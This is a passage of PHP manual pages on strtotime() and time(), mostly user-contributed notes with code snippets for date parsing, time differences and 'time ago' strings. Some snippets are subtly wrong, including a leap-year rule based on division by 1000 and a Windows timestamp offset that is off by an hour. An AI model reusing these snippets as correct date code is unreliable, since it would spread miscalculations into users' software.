2) You cannot include a space immediately following a + or - in PHP 5. In PHP4 the string "today + 1 week" works great. in PHP5 the string must be "today +1 week" to correctly parse.

3) (Partially noted in changelog.) If you pass php4 a string that is a mess ("asdf1234") it will return -1. If you in turn pass this to date() you'll get a warning like: Windows does not support dates prior to midnight. This is pretty useful for catching errors in your scripts. In PHP 5 strtotime will return FALSE which causes date() to return 12/31/69. Note that this is true of strings that might appear right such as "two weeks".

4) (Partially noted in changelog.) If you pass php4 an empty string it will error out with a "Notice: strtotime(): Called with empty time parameter". PHP5 will give no notice and return the current date stamp. (A much preferred behavior IMO.)

5) Some uppercase and mixed-case strings no longer parse correctly. In php4 "Yesterday" would parse correctly. In php5 "Yesterday" will return the infamous 1969 date. This is also true of Tomorrow and Today. [Red. This has been fixed in PHP already]

6. The keyword "previous" is supported in PHP5. (Finally!)

Good luck with your upgrades. :)
 -Will
Philippe Jausions -at- 11abacus.com 28-Sep-2005 08:55
The PHP 5.1.0 change is a major backward compatibility break.

Now, that the returned value on failure has changed, the correct way to detect problems on all PHP versions is:

<?php

if (($time = strtotime($date)) == -1 || $time === false) {
    die 'Invalid date';
}

?>

[red (derick): note, this is not 100% correct, as in this case 1969-12-31 23:59 will be thrown out as that timestamp is "-1"]
sholland at napervillegi dot com 28-Aug-2005 06:25
One behavior to be aware of is that if you have "/" in the date then strtotime will believe the last number is the year, while if you use a "-" then the first number is the year.

12/4/03 will be evaluated to the same time as 03-12-4.

This is in the gnu documentation linked to in the article.  I confirmed the behavior with strtotime and getdate.

Steve Holland
tero dot totto at kymp dot net 14-Aug-2005 11:49
When using multiple negative relative items, the result might be a bit unexpected:

<?php
$basedate = strtotime("15 Aug 2005 10:15:00");
$date1 = strtotime("-1 day 2 hours", $basedate);
$date2 = strtotime("-1 day -2 hours", $basedate);
echo date("j M Y H:i:s", $date1);  // 14 Aug 2005 12:15:00
echo date("j M Y H:i:s", $date2);  // 14 Aug 2005 08:15:00
?>

The minus sign has to be added to every relative item, otherwise they are interpreted as positive (increase in time). Other possibility is to use "1 day 2 hours ago".
dcahhNOSPAM at gmx dot de 15-Jul-2005 02:21
Maybe it saves others from troubles:

if you create a date (i.e. a certain day, like 30.03.2005, for a calendar for example) for which you do not consider the time, when using mktime be sure to set the time of the day to noon:

<?php
    $iTimeStamp = mktime(12, 0, 0, $iMonth, $iDay, $iYear);
?>

Otherwhise

<?php
    // For example
    strtotime('-1 month', $iTimeStamp);
?>

will cause troubles when calculating the relative time. It often is one day or even one month off... After I set the time to noon "strtotime" calculates as expected.

Cheers
Denis
timvw at users dot sourceforge dot net 12-Jul-2005 04:13
relative dates..

<?php
echo date('d F Y', strtotime('last monday', strtotime('15 July 2005'))); // 11th
echo "<br>";
echo date('d F Y', strtotime('this monday', strtotime('15 July 2005'))); // 18th
echo "<br>";
echo date('d F Y', strtotime('next monday', strtotime('15 July 2005'))); // 25th
?>
ruben at wipkip dot com 28-Jun-2005 05:14
This is an easy way to calculate the number of months between 2 dates (including the months in which the dates are themselves).

<?php

    $startDate = mktime(0,0,0, 6, 15, 2005);
    $stopDate = mktime(0,0,0, 10, 8, 2006);

    $nrmonths = ((idate('Y', $stopDate) * 12) + idate('m', $stopDate)) - ((idate('Y', $startDate) * 12) + idate('m', $startDate));

?>

Results in $nrmonths = 16.
LittleZephyr at nillahood dot net 09-May-2005 01:49
Here's a quick one-line function you can use to get the time difference for relative times. But default, if you put in a relative time (like "1 minute"), you get that relative to the current time. Using this function will give you just the time difference in seconds:

<?php function relative_time( $input ) { return strtotime($input) - time(); } ?>

For example "1 minute" will return 60, while "30 seconds ago" will return -30

Valid relative time formats can be found at http://www.gnu.org/software/tar/manual/html_chapter/Date-input-formats.html#SEC114
Ed Lecky-Thompson 26-Apr-2005 09:02
Here's a quick function which can [compliment] strtotime, and will work fine on dates pre-1970 (i.e. it will return a negative number as expected).

This negative time stamp seems to be supported as an input parameter by methods like date() up to a point, but if you get crazy and start talking about dates in the 1700s (everybody was using PHP3 back then, of course) it gets upset.

For those of you doing staff databases and so forth, of course, this is probably fine - it's definitely OK for any dates post 1900, and this value has been hard coded into the function below.

<?php
    function safestrtotime($strInput) {
        $iVal = -1;
        for ($i=1900; $i<=1969; $i++) {
            # Check for this year string in date
            $strYear = (string)$i;
            if (!(strpos($strInput, $strYear)===false)) {
                $replYear = $strYear;
                $yearSkew = 1970 - $i;
                $strInput = str_replace($strYear, "1970", $strInput);
            };
        };
        $iVal = strtotime($strInput);
        if ($yearSkew > 0) {
            $numSecs = (60 * 60 * 24 * 365 * $yearSkew);
            $iVal = $iVal - $numSecs;
            $numLeapYears = 0;        # Work out number of leap years in period
            for ($j=$replYear; $j<=1969; $j++) {
                $thisYear = $j;
                $isLeapYear = false;
                # Is div by 4?
                if (($thisYear % 4) == 0) {
                    $isLeapYear = true;
                };
                # Is div by 100?
                if (($thisYear % 100) == 0) {
                    $isLeapYear = false;
                };
                # Is div by 1000?
                if (($thisYear % 1000) == 0) {
                    $isLeapYear = true;
                };
                if ($isLeapYear == true) {
                    $numLeapYears++;
                };
            };
            $iVal = $iVal - (60 * 60 * 24 * $numLeapYears);
        };
        return($iVal);
    };
?>
miamiseb at nospam_gmail dot com 22-Apr-2005 09:59
If you strtotime the epoch (Jan 1 1970 00:00:00) you will usually get a value, rather than the expected 0. So for example, if you were to try to use the epoch to calculate the difference in times (strtotime(Jan 1 1970 21:00:00)-strtotime(Jan 1 1970 20:00:00) for example) You get a value that depends strongly upon your timezone. If you are in EST for example, the epoch is actually shifted -5 to YOUR epoch is Jan 1 1970 19:00:00) In order to get the offset, simply use the following call to report the number of seconds you are away from the unix epoch. $offset=strtotime("1970-01-01 00:00:00"); Additionally, you can append GMT at the end of your strtotime calls so save yourself the trouble of converting relative to timezone.
05-Apr-2005 11:45
I ran into the same problem with "last" as gabrielu at hotmail dot com (05-Apr-2005 10:45) when using strtotime() with getdate(). My only guess is that it has to do with daylight savings time as it seemed to be ok for most dates except those near the first Sunday in April and last Sunday in October.

I used strftime() with strtotime() and that gave me the result I was looking for.
gabrielu at hotmail dot com 05-Apr-2005 09:45
While working on an employee schedule application I noticed an issue with using strtotime('last...').  I ran tests on each weekday for each week within a year and noticed inconsistencies while using:

    <?php date('m/d/Y', strtotime('last Wednesday', '2005-04-05')); ?>

Most calculations of the 'last Wednesday' for each week calculated accordingly however I noticed a problem with several dates, one being '04/05/2005' (April 5th 2005).

    <?php date('m/d/Y', strtotime('last Wednesday', '2005-04-05')); ?>

The above should have returned '03/30/2005'.  Instead, it returned '03/29/2005'.  I don't understand why the function is returning this value.  Regardless, my solution:

    <?php date('m/d/Y', strtotime('-1 week' ,strtotime('Wednesday', '2005-04-05'))); ?>
bishop 08-Dec-2004 08:12
Be warned that strtotime() tries to "guess what you meant" and will successfully parse dates that would otherwise be considered invalid:

<?php

$ts = strtotime('1999-11-40');
echo date('Y-m-d', $ts);

// outputs: 1999-12-10

?>

It is my understanding (I have not verified) that the lexer for strtotime() has been rewritten for PHP5, so these semantics may only apply for PHP4 and below.
cryogen at mac dot com 06-Apr-2004 11:39
Append the string "GMT" to all of your datetimes pulled from MySQL or other database that store date-times in the format "yyyy-mm-dd hh:ii:ss" just prior to converting them to a unix timestamp with strtotime().  This will ensure you get a valid GMT result for times during daylight savings.

EXAMPLE:
<?php
$date_time1 = strtotime("2004-04-04 02:00:00"); // returns bad value -1 due to DST
$date_time2 = strtotime("2004-04-04 02:00:00 GMT"); // works great!
?>
kyle at frozenonline dot com 01-Jan-2004 03:24
I was having trouble parsing Apache log files that consisted of a time entry (denoted by %t for Apache configuration). An example Apache-date looks like: [21/Dec/2003:00:52:39 -0500]

Apache claims this to be a 'standard english format' time. strtotime() feels otherwise.

I came up with this function to assist in parsing this peculiar format.

<?php
function from_apachedate($date)
{
        list($d, $M, $y, $h, $m, $s, $z) = sscanf($date, "[%2d/%3s/%4d:%2d:%2d:%2d %5s]");
        return strtotime("$d $M $y $h:$m:$s $z");
}
?>

Hope it helps anyone else seeking such a conversion.
strptime
time
Date/Time Functions


Return current Unix timestamp

strtotime
timezone_abbreviations_list
Date/Time Functions
PHP Manual

time

(PHP 4, PHP 5)

time — Return current Unix timestamp

Description

int time ( void )

Returns the current time measured in the number of seconds since the Unix Epoch (January 1 1970 00:00:00 GMT).

Examples

Example #1 time() example

<?php
$nextWeek = time() + (7 * 24 * 60 * 60);
                   // 7 days; 24 hours; 60 mins; 60secs
echo 'Now:       '. date('Y-m-d') ."\n";
echo 'Next Week: '. date('Y-m-d', $nextWeek) ."\n";
// or using strtotime():
echo 'Next Week: '. date('Y-m-d', strtotime('+1 week')) ."\n";
?>

The above example will output something similar to:

Now:       2005-03-30
Next Week: 2005-04-06
Next Week: 2005-04-06

Notes

Tip

Timestamp of the start of the request is available in $_SERVER['REQUEST_TIME'] since PHP 5.1.

See Also

  • date() - Format a local time/date
  • microtime() - Return current Unix timestamp with microseconds

User Contributed Notes

tav 06-Jan-2012 04:06
Calculates the difference between $start and $s, returns a formatted string Xd Yh Zm As, e.g. 15d 23h 54m 31s. Empty sections will be stripped, returning 12d 4s, not 12d 0h 0m 4s.

Argument order (begin date, end date) doesn't matter.

<?php

function time_diff_conv($start, $s) {
    $t = array( //suffixes
        'd' => 86400,
        'h' => 3600,
        'm' => 60,
    );
    $s = abs($s - $start);
    foreach($t as $key => &$val) {
        $$key = floor($s/$val);
        $s -= ($$key*$val);
        $string .= ($$key==0) ? '' : $$key . "$key ";
    }
    return $string . $s. 's';
}

?>
instantcarma2000 at yahoo dot se 14-Oct-2011 02:54
This is a very basic and simple function to display either min -OR- hrs and min -OR- days and hrs -OR- days depending on how many seconds are given.

Example use:

<?php
$td = time_diff($timestamp1-$timestamp2); // has to be a positive result
$td .= ($td=="now")? "":" ago"; // in this example "ago"
echo $td;

function time_diff($s){
    $m=0;$hr=0;$d=0;$td="now";
    if($s>59) {
        $m = (int)($s/60);
        $s = $s-($m*60); // sec left over
        $td = "$m min";
    }
    if($m>59){
        $hr = (int)($m/60);
        $m = $m-($hr*60); // min left over
        $td = "$hr hr"; if($hr>1) $td .= "s";
        if($m>0) $td .= ", $m min";
    }
    if($hr>23){
        $d = (int)($hr/24);
        $hr = $hr-($d*24); // hr left over
        $td = "$d day"; if($d>1) $td .= "s";
        if($d<3){
            if($hr>0) $td .= ", $hr hr"; if($hr>1) $td .= "s";
        }
    }
    return $td;
}
?>
k7 dot india at gmail dot com 25-Aug-2011 10:57
Here's a simple script to do arithmetic operations on date/time.
You can add/sub time in terms of Hour,Minutes,Seconds

<?php

echo $date = date("Y-m-d H:i:s");echo "\n";

$original=time($date);

$hr  = 25;
$min = 46;
$sec = 77;

$modified = $original+$sec+($min*60)+($hr*60*60);

echo date("Y-m-d H:i:s",$modified);echo "\n";

/* This'll outputs ...

2011-08-26 10:34:16
2011-08-27 12:21:33
*/

?>
dev dot ivangc at gmail dot com 05-Aug-2011 03:05
Here a class extension to get the a datetime in the "X time ago" format easily.

<?php
class Cokidoo_DateTime extends DateTime {

    protected $strings = array(
        'y' => array('1 year ago', '%d years ago'),
        'm' => array('1 month ago', '%d months ago'),
        'd' => array('1 day ago', '%d days ago'),
        'h' => array('1 hour ago', '%d hours ago'),
        'i' => array('1 minute ago', '%d minutes ago'),
        's' => array('now', '%d secons ago'),
    );

    /**
     * Returns the difference from the current time in the format X time ago
     * @return string
     */
    public function __toString() {
        $now = new DateTime('now');
        $diff = $this->diff($now);

        foreach($this->strings as $key => $value){
            if( ($text = $this->getDiffText($key, $diff)) ){
                return $text;
            }
        }
        return '';
    }

    /**
     * Try to construct the time diff text with the specified interval key
     * @param string $intervalKey A value of: [y,m,d,h,i,s]
     * @param DateInterval $diff
     * @return string|null
     */
    protected function getDiffText($intervalKey, $diff){
        $pluralKey = 1;
        $value = $diff->$intervalKey;
        if($value > 0){
            if($value < 2){
                $pluralKey = 0;
            }
            return sprintf($this->strings[$intervalKey][$pluralKey], $value);
        }
        return null;
    }
}
?>

How to use:
<?php
$date = new Cokidoo_Datetime('2011-01-01');
echo $date;
?>
residualenvy at gmail dot com 11-Mar-2011 03:34
My take on a function to find the differences between a timestamp and current time.

Format: findTime($sometime['stamp'], '%d Days, %h Hours, %m Minutes');

Always use plural it will auto correct on singular results.  You don't have to include all %d,%m,%h you may include only one.  To get Total Hours remaining(including days) use %ho.  To get Total Minutes remaining(including hours and days) use %mo.  Take a look at the format I assumed to make any changes.

<?php
function findTime($timestamp, $format) {
        $difference = $timestamp - time();
        if($difference < 0)
            return false;
        else{

            $min_only = intval(floor($difference / 60));
            $hour_only = intval(floor($difference / 3600));

            $days = intval(floor($difference / 86400));
            $difference = $difference % 86400;
            $hours = intval(floor($difference / 3600));
            $difference = $difference % 3600;
            $minutes = intval(floor($difference / 60));
            if($minutes == 60){
                $hours = $hours+1;
                $minutes = 0;
            }

            if($days == 0){
                $format = str_replace('Days', '?', $format);
                $format = str_replace('Ds', '?', $format);
                $format = str_replace('%d', '', $format);
            }
            if($hours == 0){
                $format = str_replace('Hours', '?', $format);
                $format = str_replace('Hs', '?', $format);
                $format = str_replace('%h', '', $format);
            }
            if($minutes == 0){
                $format = str_replace('Minutes', '?', $format);
                $format = str_replace('Mins', '?', $format);
                $format = str_replace('Ms', '?', $format);
                $format = str_replace('%m', '', $format);
            }

            $format = str_replace('?,', '', $format);
            $format = str_replace('?:', '', $format);
            $format = str_replace('?', '', $format);

            $timeLeft = str_replace('%d', number_format($days), $format);
            $timeLeft = str_replace('%ho', number_format($hour_only), $timeLeft);
            $timeLeft = str_replace('%mo', number_format($min_only), $timeLeft);
            $timeLeft = str_replace('%h', number_format($hours), $timeLeft);
            $timeLeft = str_replace('%m', number_format($minutes), $timeLeft);

            if($days == 1){
                $timeLeft = str_replace('Days', 'Day', $timeLeft);
                $timeLeft = str_replace('Ds', 'D', $timeLeft);
            }
            if($hours == 1 || $hour_only == 1){
                $timeLeft = str_replace('Hours', 'Hour', $timeLeft);
                $timeLeft = str_replace('Hs', 'H', $timeLeft);
            }
            if($minutes == 1 || $min_only == 1){
                $timeLeft = str_replace('Minutes', 'Minute', $timeLeft);
                $timeLeft = str_replace('Mins', 'Min', $timeLeft);
                $timeLeft = str_replace('Ms', 'M', $timeLeft);
            }

          return $timeLeft;
        }
    }
?>
php/hotblocks/nl 25-Feb-2011 02:40
The easiest way to get the gmtime is to use gmdate():

<?php
$gmtime = (int)gmdate('U');
?>
Yi 23-Feb-2011 08:29
A method return GMT time (gmttime):

<?php
$gmtimenow = time() - (int)substr(date('O'),0,3)*60*60;
echo $gmtimenow . "\n";
?>

it convert current time to GMT based on time zone offset.

by frank.
karls_post at hotmail dot com 23-Jan-2011 03:44
To accurately calculate the difference between the current time and a time in the future I use the following.

<?php
function time_difference($endtime){
    $days= (date("j",$endtime)-1);
    $months =(date("n",$endtime)-1);
    $years =(date("Y",$endtime)-1970);
    $hours =date("G",$endtime);
    $mins =date("i",$endtime);
    $secs =date("s",$endtime);
    $diff="'day': ".$days.",'month': ".$months.",'year': ".$years.",'hour': ".$hours.",'min': ".$mins.",'sec': ".$secs;
    return $diff;
}
$end_time = $future_date - time();
$difference = time_difference($end_time);
echo $difference;

//sample output
'day': 2,'month': 1,'year': 0,'hour': 2,'min': 05,'sec': 41

?>
Timo K 02-Oct-2010 05:49
The documentation should have this info. The function time() returns always timestamp that is timezone independent (=UTC).

<?php
date_default_timezone_set("UTC");
echo "UTC:".time();
echo "<br>";

date_default_timezone_set("Europe/Helsinki");
echo "Europe/Helsinki:".time();
echo "<br>";
?>

Local time as string can be get by strftime() and local timestamp (if ever needed) by mktime().
johan dot lindskog at humlab dot umu dot se 26-Aug-2010 06:35
I needed to convert between Unix timestamps and Windows/AD timestamps, so I wrote a pair of simple functions for it.

<?php
function unix_time_to_win_time($unix_time) {
  //add the seconds between 1601-01-01 and 1970-01-01 and make it 100-nanosecond precision
  $win_time = ($unix_time + 11644477200) * 10000000;
  return $win_time;
}

function win_time_to_unix_time($win_time) {
  //round the win timestamp down to seconds and remove the seconds between 1601-01-01 and 1970-01-01
  $unix_time = round($win_time / 10000000) - 11644477200;
  return $unix_time;
}
?>
John Galt 14-Aug-2010 03:46
This is another function to calculate the difference between two times and output it in a relative format. This one, however, combines various units. In other words, it will return "3 days, 2 hours, 6 minutes, and 2 seconds ago" instead of "3 days ago."

Please bear in mind that it is intended for times that are very close together. It will not be accurate for calculating dates more than a month apart. This is because one of the units it relies on is "weeks," which do not correspond directly with months. What I'm trying to get across is, the program assumes that a month is precisely 4 weeks long, i.e. 28 days. This also means that a "year" according to this function is 336 days.

<?php
 function rel_time($from, $to = null)
 {
  $to = (($to === null) ? (time()) : ($to));
  $to = ((is_int($to)) ? ($to) : (strtotime($to)));
  $from = ((is_int($from)) ? ($from) : (strtotime($from)));

  $units = array
  (
   "year"   => 29030400, // seconds in a year   (12 months)
   "month"  => 2419200,  // seconds in a month  (4 weeks)
   "week"   => 604800,   // seconds in a week   (7 days)
   "day"    => 86400,    // seconds in a day    (24 hours)
   "hour"   => 3600,     // seconds in an hour  (60 minutes)
   "minute" => 60,       // seconds in a minute (60 seconds)
   "second" => 1         // 1 second
  );

  $diff = abs($from - $to);
  $suffix = (($from > $to) ? ("from now") : ("ago"));

  foreach($units as $unit => $mult)
   if($diff >= $mult)
   {
    $and = (($mult != 1) ? ("") : ("and "));
    $output .= ", ".$and.intval($diff / $mult)." ".$unit.((intval($diff / $mult) == 1) ? ("") : ("s"));
    $diff -= intval($diff / $mult) * $mult;
   }
  $output .= " ".$suffix;
  $output = substr($output, strlen(", "));

  return $output;
 }
?>

The function rel_time() accepts two parameters: $from and $to. For best results, provide them as UNIX timestamps (derived from PHP's time() function). They also accept formats supported by strtotime(). $to is an optional argument and defaults to the current time.

The function will calculate the difference between $from and $to. If $from occurs after $to, the function will substitue "ago" with "from now."

Example usage:
<?php
 echo rel_time("September 2, 2010 4:20 PM");
 // returns "2 weeks, 4 days, 23 hours, 25 minutes, and 3 seconds from now"
?>
alex nyoc net 23-Feb-2010 04:39
Here is a really simple hack used to calculate time difference between present and past and future (in a really efficient way!)

To change between past, present, future, you need to do things only on the display side (no code patch needed).

The default function is:
<?php
timeago($referencedate=0, $timepointer='', $measureby='', $autotext=true)
?>

$timepointer is from where to start calculating and is only needed if you are calculating the difference between 2 specific times. In other words, the present is not one of those times.

$referencedate is the time you're calculating to. This is required for all calculations.

$measureby is the unit to use

$autotext is whether to add "days from now" or "ago" to the string. Option only for present dates, otherwise, this variable is set to off.

For a standard present-past, use: timeago(pastdate);

It will automatically detect the time since in the appropriate units.

There is some coding error because rounding plays a huge roll. If it's 390 days from now, instead of saying "1 year, 25 days", the function will say "1 year". Post a better solution if you can.

<?php
## alex at nyoc dot net
## Feel free to better for your needs

function timeago($referencedate=0, $timepointer='', $measureby='', $autotext=true){    ## Measureby can be: s, m, h, d, or y
    if($timepointer == '') $timepointer = time();
    $Raw = $timepointer-$referencedate;    ## Raw time difference
    $Clean = abs($Raw);
    $calcNum = array(array('s', 60), array('m', 60*60), array('h', 60*60*60), array('d', 60*60*60*24), array('y', 60*60*60*24*365));    ## Used for calculating
    $calc = array('s' => array(1, 'second'), 'm' => array(60, 'minute'), 'h' => array(60*60, 'hour'), 'd' => array(60*60*24, 'day'), 'y' => array(60*60*24*365, 'year'));    ## Used for units and determining actual differences per unit (there probably is a more efficient way to do this)

    if($measureby == ''){    ## Only use if nothing is referenced in the function parameters
        $usemeasure = 's';    ## Default unit

        for($i=0; $i<count($calcNum); $i++){    ## Loop through calcNum until we find a low enough unit
            if($Clean <= $calcNum[$i][1]){        ## Checks to see if the Raw is less than the unit, uses calcNum b/c system is based on seconds being 60
                $usemeasure = $calcNum[$i][0];    ## The if statement okayed the proposed unit, we will use this friendly key to output the time left
                $i = count($calcNum);            ## Skip all other units by maxing out the current loop position
            }
        }
    }else{
        $usemeasure = $measureby;                ## Used if a unit is provided
    }

    $datedifference = floor($Clean/$calc[$usemeasure][0]);    ## Rounded date difference

    if($autotext==true && ($timepointer==time())){
        if($Raw < 0){
            $prospect = ' from now';
        }else{
            $prospect = ' ago';
        }
    }

    if($referencedate != 0){        ## Check to make sure a date in the past was supplied
        if($datedifference == 1){    ## Checks for grammar (plural/singular)
            return $datedifference . ' ' . $calc[$usemeasure][1] . ' ' . $prospect;
        }else{
            return $datedifference . ' ' . $calc[$usemeasure][1] . 's ' . $prospect;
        }
    }else{
        return 'No input time referenced.';
    }
}
?>
nickr at visuality dot com 08-Feb-2010 01:54
Here is a version for the difference code that displays "ago" code.

It does use some precision after the time difference is longer than a day. ( ie days are more than 60 * 60 * 24 hours long )

<?php

    function ago($datefrom,$dateto=-1)
    {
        // Defaults and assume if 0 is passed in that
        // its an error rather than the epoch

        if($datefrom==0) { return "A long time ago"; }
        if($dateto==-1) { $dateto = time(); }

        // Make the entered date into Unix timestamp from MySQL datetime field

        $datefrom = strtotime($datefrom);

        // Calculate the difference in seconds betweeen
        // the two timestamps

        $difference = $dateto - $datefrom;

        // Based on the interval, determine the
        // number of units between the two dates
        // From this point on, you would be hard
        // pushed telling the difference between
        // this function and DateDiff. If the $datediff
        // returned is 1, be sure to return the singular
        // of the unit, e.g. 'day' rather 'days'

        switch(true)
        {
            // If difference is less than 60 seconds,
            // seconds is a good interval of choice
            case(strtotime('-1 min', $dateto) < $datefrom):
                $datediff = $difference;
                $res = ($datediff==1) ? $datediff.' second ago' : $datediff.' seconds ago';
                break;
            // If difference is between 60 seconds and
            // 60 minutes, minutes is a good interval
            case(strtotime('-1 hour', $dateto) < $datefrom):
                $datediff = floor($difference / 60);
                $res = ($datediff==1) ? $datediff.' minute ago' : $datediff.' minutes ago';
                break;
            // If difference is between 1 hour and 24 hours
            // hours is a good interval
            case(strtotime('-1 day', $dateto) < $datefrom):
                $datediff = floor($difference / 60 / 60);
                $res = ($datediff==1) ? $datediff.' hour ago' : $datediff.' hours ago';
                break;
            // If difference is between 1 day and 7 days
            // days is a good interval
            case(strtotime('-1 week', $dateto) < $datefrom):
                $day_difference = 1;
                while (strtotime('-'.$day_difference.' day', $dateto) >= $datefrom)
                {
                    $day_difference++;
                }

                $datediff = $day_difference;
                $res = ($datediff==1) ? 'yesterday' : $datediff.' days ago';
                break;
            // If difference is between 1 week and 30 days
            // weeks is a good interval
            case(strtotime('-1 month', $dateto) < $datefrom):
                $week_difference = 1;
                while (strtotime('-'.$week_difference.' week', $dateto) >= $datefrom)
                {
                    $week_difference++;
                }

                $datediff = $week_difference;
                $res = ($datediff==1) ? 'last week' : $datediff.' weeks ago';
                break;
            // If difference is between 30 days and 365 days
            // months is a good interval, again, the same thing
            // applies, if the 29th February happens to exist
            // between your 2 dates, the function will return
            // the 'incorrect' value for a day
            case(strtotime('-1 year', $dateto) < $datefrom):
                $months_difference = 1;
                while (strtotime('-'.$months_difference.' month', $dateto) >= $datefrom)
                {
                    $months_difference++;
                }

                $datediff = $months_difference;
                $res = ($datediff==1) ? $datediff.' month ago' : $datediff.' months ago';

                break;
            // If difference is greater than or equal to 365
            // days, return year. This will be incorrect if
            // for example, you call the function on the 28th April
            // 2008 passing in 29th April 2007. It will return
            // 1 year ago when in actual fact (yawn!) not quite
            // a year has gone by
            case(strtotime('-1 year', $dateto) >= $datefrom):
                $year_difference = 1;
                while (strtotime('-'.$year_difference.' year', $dateto) >= $datefrom)
                {
                    $year_difference++;
                }

                $datediff = $year_difference;
                $res = ($datediff==1) ? $datediff.' year ago' : $datediff.' years ago';
                break;

        }
        return $res;

?>
andypsv at rcdrugs dot com 29-Jun-2009 11:43
RETURNS time left from supplied date ex. '3 days ago' etc. Basic function

<?php

function _ago($tm,$rcs = 0) {
    $cur_tm = time(); $dif = $cur_tm-$tm;
    $pds = array('second','minute','hour','day','week','month','year','decade');
    $lngh = array(1,60,3600,86400,604800,2630880,31570560,315705600);
    for($v = sizeof($lngh)-1; ($v >= 0)&&(($no = $dif/$lngh[$v])<=1); $v--); if($v < 0) $v = 0; $_tm = $cur_tm-($dif%$lngh[$v]);

    $no = floor($no); if($no <> 1) $pds[$v] .='s'; $x=sprintf("%d %s ",$no,$pds[$v]);
    if(($rcs == 1)&&($v >= 1)&&(($cur_tm-$_tm) > 0)) $x .= time_ago($_tm);
    return $x;
}

?>
yasmary at gmail dot com 06-Mar-2009 12:48
A time difference function that outputs the time passed in facebook's style: 1 day ago, or 4 months ago. I took andrew dot macrobert at gmail dot com function and tweaked it a bit. On a strict enviroment it was throwing errors, plus I needed it to calculate the difference in time between a past date and a future date.

<?php
function nicetime($date)
{
    if(empty($date)) {
        return "No date provided";
    }

    $periods         = array("second", "minute", "hour", "day", "week", "month", "year", "decade");
    $lengths         = array("60","60","24","7","4.35","12","10");

    $now             = time();
    $unix_date         = strtotime($date);

       // check validity of date
    if(empty($unix_date)) {
        return "Bad date";
    }

    // is it future date or past date
    if($now > $unix_date) {
        $difference     = $now - $unix_date;
        $tense         = "ago";

    } else {
        $difference     = $unix_date - $now;
        $tense         = "from now";
    }

    for($j = 0; $difference >= $lengths[$j] && $j < count($lengths)-1; $j++) {
        $difference /= $lengths[$j];
    }

    $difference = round($difference);

    if($difference != 1) {
        $periods[$j].= "s";
    }

    return "$difference $periods[$j] {$tense}";
}

$date = "2009-03-04 17:45";
$result = nicetime($date); // 2 days ago

?>
anon 26-Jan-2009 05:16
Below, a function to create TNG-style stardates, taking 2009 to start stardate 41000.0.  In fact, the offset is trivial to adjust if you wish to begin from a different date.

<?php
function getStardate(void)
{
  $offset = 2000;
  $seconds_per_stardate = 31449.6; // is the number of seconds in a year divided by 1000, for hopefully obvious reasons
  return time() / $seconds_per_stardate + $offset;
}
?>

Other series use less reliable stardate formats, which makes it difficult [read: nigh impossible] to create a function that converts a unix timestamp into a stardate.
Anonymous 01-Sep-2008 05:30
A cleaner example (half the comparisons) of distanceOfTimeInWords() function below:

<?php
public static function distanceOfTimeInWords($fromTime, $toTime = 0, $showLessThanAMinute = false) {
    $distanceInSeconds = round(abs($toTime - $fromTime));
    $distanceInMinutes = round($distanceInSeconds / 60);

        if ( $distanceInMinutes <= 1 ) {
            if ( !$showLessThanAMinute ) {
                return ($distanceInMinutes == 0) ? 'less than a minute' : '1 minute';
            } else {
                if ( $distanceInSeconds < 5 ) {
                    return 'less than 5 seconds';
                }
                if ( $distanceInSeconds < 10 ) {
                    return 'less than 10 seconds';
                }
                if ( $distanceInSeconds < 20 ) {
                    return 'less than 20 seconds';
                }
                if ( $distanceInSeconds < 40 ) {
                    return 'about half a minute';
                }
                if ( $distanceInSeconds < 60 ) {
                    return 'less than a minute';
                }

                return '1 minute';
            }
        }
        if ( $distanceInMinutes < 45 ) {
            return $distanceInMinutes . ' minutes';
        }
        if ( $distanceInMinutes < 90 ) {
            return 'about 1 hour';
        }
        if ( $distanceInMinutes < 1440 ) {
            return 'about ' . round(floatval($distanceInMinutes) / 60.0) . ' hours';
        }
        if ( $distanceInMinutes < 2880 ) {
            return '1 day';
        }
        if ( $distanceInMinutes < 43200 ) {
            return 'about ' . round(floatval($distanceInMinutes) / 1440) . ' days';
        }
        if ( $distanceInMinutes < 86400 ) {
            return 'about 1 month';
        }
        if ( $distanceInMinutes < 525600 ) {
            return round(floatval($distanceInMinutes) / 43200) . ' months';
        }
        if ( $distanceInMinutes < 1051199 ) {
            return 'about 1 year';
        }

        return 'over ' . round(floatval($distanceInMinutes) / 525600) . ' years';
}
?>
Josh Abraham 28-Sep-2007 07:43
When dealing with the results of the time function, taking the modulus (remainder) is often a good way to find recurring information such as day of the week, week of the year, or month of the year. In the example given below of a firefighter's shift, you could do the following to simplify the code.

<?php

function whatShift() {

  $referencePoint = mktime(7, 0, 0, 9, 11, 2004);   // Sept 11, 2004 at 7AM started an A Shift.

  //This is the where we divide the current time since reference by the amount of time in all shifts
  //The result of this is the remainder.
  $sinceReference = (time() - $referencePoint) % (60 * 60 * 24 * 3);

  //The rest of the code can be basically the same so I shortened it here.
  if ($sinceReference < 60 * 60 * 25)  $shift = "A";
  elseif ($sinceReference < 60 * 60 * 49)  $shift = "B";
  else $shift = "C";

  return $shift;

}

?>
jon at freilich dot com 21-Sep-2007 09:30
Fire Fighters typically work one day on and two days off.  Known as shifts and generally referred to as A, B and C.  I need to compute this for a web script so I came up with the following function.

Notes: You may need to change the reference date as not all departments are on the same rotation. Also, this does not take into account daylight savings time so the changeover moves by an hour.

<?php

function whatShift() {

  $referencePoint = mktime(7, 0, 0, 9, 11, 2004);   // Sept 11, 2004 at 7AM started an A Shift.
  $now = time();

  // Next we need to know how many seconds since the start of the last A Shift.
  // First we compute how many 3 days cycles since the reference point then
  // subtract that number.

  $difference = ($now - $referencePoint);
  $cycles = floor($difference / (60 * 60 * 24 * 3));
  $sinceReference = ($difference - ($cycles * 60 * 60 * 24 * 3));

  if ($sinceReference < 60 * 60 * 25) {  // Before the start of the 25th hour it's A Shift.
    $shift = "A";
    }

  elseif ($sinceReference < 60 * 60 * 49) {  // Else before the start of the 49th hour it's B Shift.
    $shift = "B";
    }

  else {
    $shift = "C";  // Else it's C Shift.
    }

  return $shift;

}

?>
by225 at yahoo dot com 06-Sep-2007 12:32
A function for converting to Unix time without using the MySQL UNIX_TIMESTAMP function in a query (MySQL allows eight different formats for timestamps):

<?php
function UnixTime($mysql_timestamp){
    if (preg_match('/(\d{4})(\d{2})(\d{2})(\d{2})(\d{2})(\d{2})/', $mysql_timestamp, $pieces)
        || preg_match('/(\d{2})(\d{2})(\d{2})(\d{2})(\d{2})(\d{2})/', $mysql_timestamp, $pieces)) {
            $unix_time = mktime($pieces[4], $pieces[5], $pieces[6], $pieces[2], $pieces[3], $pieces[1]);
